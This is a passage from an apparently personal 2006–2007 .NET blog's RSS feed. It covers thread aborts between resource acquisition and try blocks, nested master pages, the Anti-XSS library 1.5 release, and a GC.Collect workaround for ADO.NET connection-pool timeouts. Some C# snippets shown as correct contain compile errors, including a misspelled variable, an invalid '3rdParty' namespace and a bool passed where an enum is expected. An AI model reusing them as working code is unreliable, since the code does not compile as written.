 if (r != null) ((IDisposable)r).Dispose();<br />}</pre><p>And this will, in it's turn, be compiled to intermediate language (IL):</p><pre class="msil" language="msil" customtypes="Resource IDisposable"> // Resource r = new Resource();<br />L_0000: newobj instance void Resource::.ctor()<br />L_0005: stloc.0 <br /> // try<br /> // {<br /> //     r.DoSomeWork();<br />L_0006: ldloc.0<br />L_0007: callvirt instance void Resource::DoSomeWork()<br />L_000c: leave.s L_0018<br /> // }<br /> // finally<br /> // {<br /> //      if (r != null)<br />L_000e: ldloc.0<br />L_000f: brfalse.s L_0017<br /> //     {<br /> //         ((IDisposable)r).Dispose();<br />L_0011: ldloc.0 <br />L_0012: callvirt instance void<br />     [mscorlib]System.IDisposable::Dispose()<br /> //     }<br />L_0017: endfinally<br /> // }<br />L_0018: ret <br />.try L_0006 to L_000e finally handler L_000e to L_0018</pre><p>And the JIT may compile this down to the following assembly instructions (only the first eight instructions are shown):</p><pre class="x86" language="x86" customtypes="PutYourCustomTypesHere">00000024  xor   edx,edx <br />00000026  mov   dword ptr [ebp-28h],edx <br />00000029  mov   ecx,999634h<br /> // Call .ctor on type Resource<br />0000002e  call  FFCA0E64 <br />00000033  mov   esi,eax <br />00000035  mov   ecx,esi <br />00000037  call  dword ptr ds:[00999670h]<br />0000003d  mov   dword ptr [ebp-28h],esi <br /> // try blocks starts here</pre><p>Now look at the constructor of our Resource Type:</p><pre class="cs" language="csharp" customtypes="Resource SqlConnection">public Resource()<br />{<br />    this._connection =<br />        new SqlConnection(connString);<br />    // Resource acquired here<br />    this._connection.Open();<br />}</pre><p>The JITted assembly for our constructor looks like this:</p><pre class="x86" language="x86" customtypes="PutYourCustomTypesHere"> // public Resource()<br />00000000  push  edi  <br />00000001  push  esi  <br />00000002  mov   esi,ecx <br />00000004  cmp   dword ptr ds:[00998860h],0 <br />0000000b  je    00000012 <br />0000000d  call  793B1076 <br />00000012  mov   ecx,esi <br />00000014  call  78669220<br /> // {<br /> //	_connection =<br /> //		new SqlConnection(connString);<br />00000019  mov   ecx,653C363Ch <br />0000001e  call  791ACE1C<br />00000023  mov   edi,eax <br />00000025  mov   edx,dword ptr ds:[02305A34h] <br />0000002b  mov   ecx,edi <br />0000002d  call  647A5014 <br />00000032  lea   edx,[esi+4] <br />00000035  call  791927C7 <br /> //    _connection.Open();<br />0000003a  mov   ecx,dword ptr [esi+4] <br />0000003d  mov   eax,dword ptr [ecx] <br />0000003f  call  dword ptr [eax+000000B8h] <br /> // }<br />00000045  nop              <br />00000046  pop   esi  <br />00000047  pop   edi  <br />00000048  ret </pre><p>Now let us analyze this code. Between the acquisition of the resource in the <span class="type">Resource</span> constructor and the start of the <span class="keyword">try</span> block, there are at least 6 assembly instructions. Which are the following:</p><pre class="x86" language="x86" customtypes="PutYourCustomTypesHere"> // Last four instruction in the Resource constructor<br />00000045  nop              <br />00000046  pop   esi  <br />00000047  pop   edi  <br />00000048  ret       <br /><br /> // Instructions right after the the call to the <br /> // constructor method (call FFCA0E64).<br />00000033  mov   esi,eax <br />00000035  mov   ecx,esi </pre><p>It's even possible that there are more than six instructions, because I think the call to the subroutine that follows the last move (instruction 00000037) initializes the <span class="keyword">try</span> and there are possibly some relevant instructions at the end of the <span class="code">_connection.Open()</span> subroutine too (but I&rsquo;ll let those out of the picture).<br /><br />So we can conclude that there are AT LEAST six assembly instructions between the acquisition of the resource (<span class="code">connection.Open</span>) and the initialization of the <span class="keyword">try</span> block (<span class="code">call dword ptr ds:[00999670h]</span>). <strong>When a thread abort gets raised in this window, then <span class="code">Dispose</span> will never get called on the instance that is created</strong>. <br /><br />It is obvious that the bigger the gap between the acquisition and the beginning of the <span class="keyword">try</span>-block, the bigger the chance of failure. Besides, as the number of processors in system increase, the higher the chance of failure.<br /><br />But in fact the number of assembly instructions isn't really the problem here, because even if there were no assembly instructions the problem would still existed. To quote Joe:</p><blockquote>speaking in terms of absolutes: it is ALWAYS possible that your cleanup code won't execute. [...] A fallback plan is always required. Your programs should be able to cope with state corruption that persists due to app crashes, rude shutdowns, and so on. This can be difficult in practice, but if you design it into your code to begin with, it's usually possible... even if it means asking the user to reboot the machine or manually repair some corrupted data (though clearly these are last resorts). [<a rel="external" href="http://www.bluebytesoftware.com/blog/CommentView,guid,d9ff204a-a8a5-400e-bcbc-dedb90a7d11a.aspx#aba3afe0-9da8-46a1-b8e7-313a164e0fbe" target="_blank" title="Joe Duffy's Weblog - Monitor.Enter, thread aborts, and orphaned locks - Comments">-&gt;</a>]</blockquote><p>Should I worry about this? I&rsquo;m now convinced I shouldn&rsquo;t. All I do anyway comes down to making calls from web apps to SQL Server databases. The chance of a leaking connection by thread aborts is insignificant. Besides, the connection's finalizer will eventually bring the connection back to the pool. Next to that, as Joe points out: '<em>prefer acquisition of resources inside discrete methods</em>'. This way the resource is acquired within the <span class="keyword">try</span> block. So the example <span class="type">Resource</span> type shown above is actually a bad practice ;-). I think that there are bigger concerns than leaking connections. Ensuring atomicity through database transactions for instance. But transactions which aren't opened or haven't been written to don't pose a risk. Besides that, the database server ensures atomicity by its design. So in case of a rude shutdown or power failure the database will eventually save my day.<br /><br />So I can conclude that this uncertainty isn't a problem at all for me, but it still is bloody interesting!</p> ]]></description>
			<guid isPermaLink="false">21@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#</category>
			<pubDate>Wed, 21 Feb 2007 23:15:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Nested Master Pages Until Orcas</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=20</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=20#comm</comments>
                        <description><![CDATA[ This article describes how to inherit your .aspx pages from a custom class, in such a way that you can use nested master pages, without getting that terrible '<em>Design view does not support creating or editing nested master pages. To create or edit nested master pages, use Source view</em>' from the Visual Studio Designer.<p>Just before posting this article on my blog I came across <a rel="external" href="http://weblogs.asp.net/scottgu/archive/2005/11/11/430382.aspx" target="_blank" title="ScottGu's Blog - Tips for Nested Master Pages and VS 2005 Design-Time">an article</a> from <a rel="external" href="http://weblogs.asp.net/scottgu/" target="_blank" title="ScottGu's Blog">Scott Guthrie</a> who describes exactly the same issue with almost exactly the same solution. Even the RuntimeMasterPageFile property has the same name. <a rel="external" href="http://en.wikipedia.org/wiki/D%27oh%21" target="_blank" title="D'oh!">D'oh!</a>.<br /><br />Scott's solution works fine for aspx files, however it doesn't help us with designing master pages. We could try to write a custom class that inherits from the <a rel="external" href="http://msdn2.microsoft.com/en-us/library/system.web.ui.masterpage.aspx" target="_blank" title="MSDN Library - MasterPage Class">MasterPage</a> class in which you can implement the same trick as done in Scott's article with pages. In that case you can't use the PreInit event, because master pages simply don't have a PreInit event. You must choose a different path. Instead you should override the MasterPage's protected SupportAutoEvents property. This property is the first overrideable point within the MasterPage class that is called after the master page has been created by it's owner (Thanks to <a rel="external" href="http://www.aisto.com/roeder/dotnet/" target="_blank" title="Lutz Roeder's .NET Reflector">Reflector</a>). Within this property you can set the master page's MasterPageFile property. The class may look like this:</p><pre class="cs" language="csharp" customtypes="NestedBaseMaster MasterPage">public class NestedBaseMaster : MasterPage<br />{<br />    private bool _addMaster = true;<br />    private string _runtimeMasterPageFile;<br /><br />    public string RuntimeMasterPageFile<br />    {<br />        get { return this._runtimeMasterPageFile; }<br />        set { this._runtimeMasterPageFile = value; }<br />    }<br /><br />    protected override bool SupportAutoEvents<br />    {<br />        get<br />        {<br />            if (this.Page != null &amp;&amp; this._addMaster)<br />            {<br />                if (this.RuntimeMasterPageFile != null)<br />                {<br />                    this.MasterPageFile = <br />                        this.RuntimeMasterPageFile;<br />                }<br />            }<br />            this._addMaster = false;<br /><br />            return base.SupportAutoEvents;<br />        }<br />    }<br />}</pre><p>This however, will lead to nothing. Visual Studio will still show that nasty message and disallows designing your master page. Nested master pages simply can't be edited and there is no work-around for this. For the real solution we must wait until Orcas is released. A lot of exiting features will be added in the Orcas release of Visual Studio and ASP.NET, so I can barely wait.</p> ]]></description>
			<guid isPermaLink="false">20@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ASP.NET, Visual Studio</category>
			<pubDate>Sun, 11 Feb 2007 14:20:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Human Computation</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=19</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=19#comm</comments>
                        <description><![CDATA[ I came across <a rel="external" href="http://video.google.nl/videoplay?docid=-8246463980976635143&amp;q=human+computation" target="_blank" title="Human Computation - Google Tech Talk - Video">this</a> Google Tech Talk about Human Computation by Luis Von Ahn. Luis talks about how he uses humans to solve problems computers can&#39;t. His talk is really fascinating and funny. You should watch it!By the way, I&#39;ve been quite busy lately, so I couldn&#39;t find any time to blog. Hopefully I&#39;ll have some time during the holidays. ]]></description>
			<guid isPermaLink="false">19@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>Science</category>
			<pubDate>Tue, 19 Dec 2006 19:27:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Microsoft Anti-Cross Site Scripting Library V1.5.</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=18</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=18#comm</comments>
                        <description><![CDATA[ Microsoft&#39;s ACE Team, announced the release of the Anti-Cross Site Scripting (XSS) Library version 1.5.<p>Besides the <code>HtmlEncode</code> and <code>UrlEncode</code> methods that were available in the 1.0 release, the 1.5 release also has <code>XmlAttributeEncodeXml</code>, <code>EncodeVisualBasicScriptEncode</code>, <code>EncodeJavaScriptEncode</code> and <code>HtmlAttributeEncode</code> methods. Besides these improvements the Library has now an EULA that provides the ability to deploy into production environments, which 1.0 didn&#39;t.</p><p>You can find more information on the <a rel="external" href="http://blogs.msdn.com/ace_team/archive/2006/11/20/microsoft-anti-cross-site-scripting-library-v1-5-is-done.aspx" target="_blank" title="ACE Team - Microsoft Anti-Cross Site Scripting Library V1.5 is Released!">ACE Team blog</a> and download the library over <a rel="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&amp;displaylang=en" target="_blank" title="Download Microsoft Anti-Cross Site Scripting Library V1.5">here</a>.</p> ]]></description>
			<guid isPermaLink="false">18@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ASP.NET, Security</category>
			<pubDate>Mon, 20 Nov 2006 23:57:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Nine Things Developers Want More Than Money</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=17</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=17#comm</comments>
                        <description><![CDATA[ <a rel="external" href="http://www.softwarebyrob.com/articles/Nine_Things_Developers_Want_More_Than_Money.aspx" target="_blank" title="Software by Rob - Nine Things Developers Want More Than Money">Here</a>&#39;s a great article about passionate software developers. It is a must-read for every software developer.<p>There were several quotes with what I could identify. Like this one: </p><blockquote>You&#39;re probably one  of those people who <span style="font-style: italic">needs</span> motivation  factors or you go crazy with restlessness, and when the motivation factors are  in place you&#39;ll work ridiculous hours for low pay just because it&#39;s so damn  fun.</blockquote><p>And this one:</p><blockquote>Faced with the right type of challenge many developers will not stop until it&#39;s fixed, especially if it requires a particularly creative solution.</blockquote></p> ]]></description>
			<guid isPermaLink="false">17@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>default</category>
			<pubDate>Tue, 14 Nov 2006 01:52:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Optimizing C# Refactoring Performance with Web Projects in VS 2005</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=15</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=15#comm</comments>
                        <description><![CDATA[ <p>ScottGu has blogged about this over 9 months ago, but I had some trouble finding that blog again. So this is for my own memory: <a rel="external" href="http://weblogs.asp.net/scottgu/archive/2006/01/02/434355.aspx" target="_blank" title="ScottGu&#39;s Blog - Optimizing C# Refactoring Performance with Web Projects in VS 2005">Optimizing C# Refactoring Performance with Web Projects in VS 2005</a>.</p> ]]></description>
			<guid isPermaLink="false">15@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ASP.NET</category>
			<pubDate>Mon, 23 Oct 2006 23:08:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Fixing connection pooling timeout exceptions on third-party code</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=69</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=69#comm</comments>
                        <description><![CDATA[ When a Connection object throws an exception and tells you 'all pooled connections were in use and max pool size was reached', it usually has to do with bad code. Fixing it could however be a problem if you don't own the source code. In this article a quick and dirty workaround for this connection timeout problem is proposed.<h5>The Basics</h5><p><a rel="external external" href="http://bander.blogspirit.com/archive/2005/07/10/tuning-up-ado-net-connection-pooling-in-asp-net-applications.html" target="_blank" title="Tuning Up ADO.NET Connection Pooling in ASP.NET Applications">Over</a> <a rel="external external" href="http://www.csharp-station.com/Tutorials/AdoDotNet/Lesson02.aspx" target="_blank" title="The C# Station ADO.NET Tutorial - Lesson 02: The SqlConnection Object">a</a> <a rel="external external" href="http://www.15seconds.com/issue/040830.htm" target="_blank" title="15 seconds - Tuning Up ADO.NET Connection Pooling in ASP.NET Applications">dozen</a> <a rel="external external" href="http://msdn.microsoft.com/msdnmag/issues/04/05/NETMatters/" target="_blank" title="MSDN Magazine - Finalizers, Assembly Names, MethodInfo, and More">articles</a> and <a rel="external external" href="http://blogs.msdn.com/angelsb/archive/2004/08/25/220333.aspx" target="_blank" title="Angel Saenz-Badillos - Connection Pooling and the ">a</a> <a rel="external external" href="http://jaechung.spaces.live.com/Blog/cns!FA678E6A38BB25CD!114.entry" target="_blank" title="William Vaughn - The .NET Connection Pool Lifeguard">thousand</a> <a rel="external external" href="http://blogs.msdn.com/ricom/archive/2004/05/19/135332.aspx" target="_blank" title="Rico Mariani's Performance Tidbits - A few questions and answers about using IDisposable">blogs</a> must have been written about this topic; &lsquo;<span style="font-style: italic">You should make sure you always close your connections when you're done with them</span>&rsquo;. (This holds for the entire family of ADO.NET connections such as Odbc, OleDb, Oracle, Sql and SqlCe). You should either call Close or Dispose inside a finally block or wrap your connection inside a using block (in which case Dispose is called for you). Neglecting to close a connection, will lead to a connection &ldquo;leak&rdquo;. In that case the connection will only be closed and returned to the connection pool after the garbage collector (GC) has kicked in and cleaned up the mess (more information about the connection pool can be found <a rel="external external" href="http://msdn2.microsoft.com/en-us/library/8xx3tyca.aspx" target="_blank" title=".NET Framework Developer's Guide - Using Connection Pooling with SQL Server">here</a>).</p><p>When the GC runs once in a while to free memory (and by doing that unknowingly returning open connections to their pool), everything goes smoothly and your application runs fine. But when there's enough memory available and the GC decides to sit back for a while, things might go wrong all of a sudden. Your users might experience an InvalidOperationException with the following message:</p><blockquote>Timeout expired. The timeout period elapsed prior to obtaining a connection from the pool. This may have occurred because all pooled connections were in use and max pool size was reached. </blockquote><p>Here is a bad code fragment, which could lead to that exception:</p>  <pre class="cs badcode" language="csharp" customtypes="SqlConnection BLHelper SqlCommand">public static void ExecuteSomeQuery()<br />{<br />    SqlConnection connection = BLHelper.CreateConnection();<br />    <br />    SqlCommand command = new SqlCommand(&quot;QUERY&quot;, connection);<br />    <br />    conection.Open();<br />    command.ExecuteNonQuery();<br />    conection.Close();<br />}<br /></pre>  <p>Your first impression might be that this code is correct, because we&rsquo;ve closed the connection. But we're simply not sure if the connection will be closed every time. The ExecuteNonQuery method might toss an exception, which will result in skipping the next statement which is the call to Close. Remember that <a rel="external external" href="http://en.wikipedia.org/wiki/Murphy%27s_law" target="_blank" title="Murphy's law - From Wikipedia, the free encyclopedia">Murphy's law</a> definitely applies to software development. It&rsquo;s really amazing to see how the internet is flooded with bad code examples [<a rel="external external" href="http://www.w3schools.com/aspnet/aspnet_dbconnection.asp" target="_blank" title="Bad example from W3Schools.com">1</a>,<a rel="external external" href="http://davidhayden.com/blog/dave/archive/2006/01/15/2734.aspx" target="_blank" title="Bad code example - From a professional website developer">2</a>,<a rel="external external" href="http://joel.net/software/databaseutility.aspx" target="_blank" title="Bad code example">3</a>,<a rel="external external" href="http://aspalliance.com/315_Porting_web_application_to_different_database_server" target="_blank" title="Bad code example on ASPAlliance.com">4</a>,<a rel="external external" href="http://www.eggheadcafe.com/articles/20020929.asp" target="_blank" title="Bad code example from a Ph.D.">5</a>] like the previous fragment. Here is the correct way to do this:</p>  <pre class="cs" language="csharp" customtypes="SqlConnection IDisposable BLHelper SqlCommand">public static void ExecuteSomeQuery()<br />{<br />    // SqlConnection implements IDisposable<br />    SqlConnection connection = BLHelper.CreateConnection();<br />    try<br />    {<br />        // SqlCommand implements IDisposable<br />        SqlCommand command = new SqlCommand(&quot;QUERY&quot;, connection);<br />        try<br />        {<br />            connection.Open();<br />    <br />            command.ExecuteNonQuery();<br />        }<br />        finally<br />        {<br />            command.Dispose();<br />        }<br />    }<br />    finally<br />    {<br />        connection.Dispose();<br />    }<br />} </pre>  <p>Or when you can, write the using statement:</p>  <pre class="cs" language="csharp" customtypes="SqlConnection IDisposable BLHelper SqlCommand">public static void ExecuteSomeQuery()<br />{<br />    using (SqlConnection connection = <br />        BLHelper.CreateConnection())<br />    {<br />        using (SqlCommand command = <br />            new SqlCommand(&quot;QUERY&quot;, connection))<br />        {<br />            conection.Open();<br />            command.ExecuteNonQuery();<br />        }<br />    }<br />    // No need for calling Dispose anymore<br />}<br /></pre>  <p>Calling Close on a connection is enough to prevent the connection from leaking. Calling Dispose has currently no real advantages over calling Close. However keep in mind that we can&rsquo;t be sure if this still holds in the next version of the .NET framework. So the only thing we can do is following the guidelines. They note to &lsquo;<em>always call Dispose on objects that implement IDisposable</em>&rsquo;. So take that advice and always call Dispose.</p><h5>Handling third-party code</h5><p>These are the basics I think most of you already knew. We should write good code. I hope everybody agrees with me. But what about calling code we don&rsquo;t maintain? For instance when a third-party library throws the max-pool-size-was-reached exception? Let me start by saying that code behaving like this is simply wrong. You should track the person or organization that built that library and force them to fix that bug.</p><p>It could however, take time for the other party to repair that error, while your customers are having problems that you need to fix right away. Or maybe your company needs to pay for the problem to get solved. So for those situations I propose a workaround that may temporarily fix this issue. Note however that this workaround will <u>NOT</u> be a durable solution!</p><p>Like I described earlier, this exception appears because connections are not closed and are therefore not returned to the pool. To resolve this issue we need to close those connections. But because we have no reference to those objects, there&rsquo;s only one possible thing to do; force disposal of those objects by asking the GC to collect them. After that we can re-execute the third-party code. That code will than be able to get a connection from the pool. See the following code snippet:</p>  <pre class="cs" language="csharp" customtypes="LegacyLib InvalidOperationException GC">public static void ExecuteSomeQuery()<br />{<br />    try<br />    {<br />        3rdParty.LegacyLib.ExecuteSomeQuery();<br />        <br />        // The internal ADO.NET connection pool<br />        // will wait 15 seconds before throwing<br />        // the max-pool-size exception!<br />    }<br />    catch (InvalidOperationException e)<br />    {<br />        if (!e.Message.Contains(&quot;max pool size&quot;))<br />            throw;<br />        <br />        // The connection pool is empty, so<br />        // let&rsquo;s collect (dispose) all unreach-<br />        // able objects from the heap.<br />        System.GC.Collect();<br /><br />        3rdParty.LegacyLib.ExecuteSomeQuery();<br />    }<br />}<br /></pre>  <p><strong>A BIG WARNING HERE</strong>: You cannot simply re-execute every single method that way. You must analyze the methods you need to handle, using a tool like <a rel="external external" href="http://www.aisto.com/roeder/dotnet/" target="_blank" title="Tools and source code for .NET, C# and Visual Basic.">Lutz Roeder's .NET Reflector</a>, to make sure that re-executing a method is completely safe. This because it is possible that multiple connections are opened during a single method call. Calling that method a second time could lead to corruption of the database, because you may trigger an insert or update statement again (note that lack of transactional use within such library isn&rsquo;t the issue here). Therefore you can't be sure if it's safe to call such method twice until you&rsquo;ve examined the source of that decompiled library.</p><p><strong>A SECOND WARNING</strong>: You normally should never call System.GC.Collect(). Explicitly calling GC.Collect() changes the GC's autotuning capabilities. Repeatedly calling GC.Collect() could greatly impact performance. </p><p>I hope I made my point pretty clear. This code does not solve your problems, it's merely a patch and if not used with caution and thorough investigation it will make things even worse!</p><p>Also be aware that your application by default halts for 15 seconds before ADO.NET decides to throw that exception!!! This means that once in a while a user will still experience a delay in your web or desktop application, before you're able to handle that exception.</p><h5>A wrapper class</h5><p>Now I want to take the given code fragment to the next level by wrapping it in a class. I&rsquo;ll use delegates and .NET 2.0 generics and will also try to prevent the described 15 second delay to emerge. Here is the PoolTimeoutWatcher class:</p>  <pre class="cs" language="csharp" customtypes="PoolTimeoutWatcher Executer InvalidOperationException GC" customvaluetypes="CollectType">public static class PoolTimeoutWatcher<br />{<br />    // We define two delegates, that may point to<br />    // unsupported code<br />    public delegate void Executer();<br />    public delegate T Executer&lt;T&gt;();<br /><br />    // This Method executes the 'execute' method<br />    // delegate and returns void<br />    public static void Execute(Executer execute)<br />    {<br />        try<br />        {<br />            Collect(CollectType.CollectWhenNeeded);<br />            execute();<br />        }<br />        catch (InvalidOperationException e)<br />        {<br />            if (!e.Message.Contains(&quot;max pool size&quot;))<br />                throw;<br /><br />            Collect(CollectType.ForceCollection);<br />            execute();<br />        }<br />    }<br /><br />    // This Method executes the generic 'execute'<br />    // method delegate and returns an object of<br />    // the given type T.<br />    public static T Execute&lt;T&gt;(Executer&lt;T&gt; execute)<br />    {<br />        try<br />        {<br />            Collect(false);<br />            return execute();<br />        }<br />        catch (InvalidOperationException e)<br />        {<br />            if (!e.Message.Contains(&quot;max pool size&quot;))<br />                throw;<br /><br />            Collect(true);<br />            return execute();<br />        }<br />    }<br /><br />    // We assume all pools have the default max<br />    // pool size of 100 connections.<br />    private const int POOLSIZE = 100;<br />    private static int count;<br />    private static object locker =<br />        new object();<br /><br />    // This method calls the Garbage Collector<br />    // after every 90 calls, or immediately when<br />    // the force argument is set to true.<br />    private static void Collect(CollectType type)<br />    {<br />        bool mustCollect = false;<br />        lock (locker)<br />        {<br />            count++;<br />            if (type == CollectType.ForceCollection || <br />                count &gt;= POOLSIZE * 0.9)<br />            {<br />                count = 0;<br />                mustCollect = true;<br />            }<br />        }<br />        if (mustCollect)<br />            System.GC.Collect();<br />    }<br /><br />    enum CollectType { CollectWhenNeeded, ForceCollection }<br />}<br /></pre>  <p>And we can use the class as follows:</p>  <pre class="cs" language="csharp" customtypes="Program PoolTimeoutWatcher LegacyLib DataTable">class Program<br />{<br />    static void Main(string[] args)<br />    {<br />        // The ExecuteSomeQuery method matches the<br />        // PoolTimeoutWatcher.Executer delegate, so<br />        // we can use it directly as argument.<br />        PoolTimeoutWatcher.Execute(<br />            3rdParty.LegacyLib.ExecuteSomeQuery<br />        );<br />        <br />        // Here we create an anonymous method that<br />        // returns a DataTable and matches the<br />        // Executer&lt;DataTable&gt;'s signature.<br />        DataTable dataTable =<br />            PoolTimeoutWatcher.Execute&lt;DataTable&gt;(<br />                delegate {<br />                    return 3rdParty.LegacyLib.<br />                        ExecuteDataTable();<br />                }<br />            );<br />    }<br />}<br /></pre>  <p>The private PoolTimeoutWatcher.Collect method counts the number of executes to predict when the pool might flood (assuming a single pool) and it calls the GC before that happens. However the forecast can be wrong, because there could be other methods leaking connections. The maximum pool size could also be configured differently than we&rsquo;d expected. Therefore I advise to also write every caught exception to a log file or the event trace.</p><p>I hope I didn't give anyone any bad ideas ;-). Good luck!</p> ]]></description>
			<guid isPermaLink="false">69@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ADO.NET, C#, Databases</category>
			<pubDate>Thu, 12 Oct 2006 12:05:00 +0200</pubDate>
		</item>
		
		
		
	</channel>
</rss>
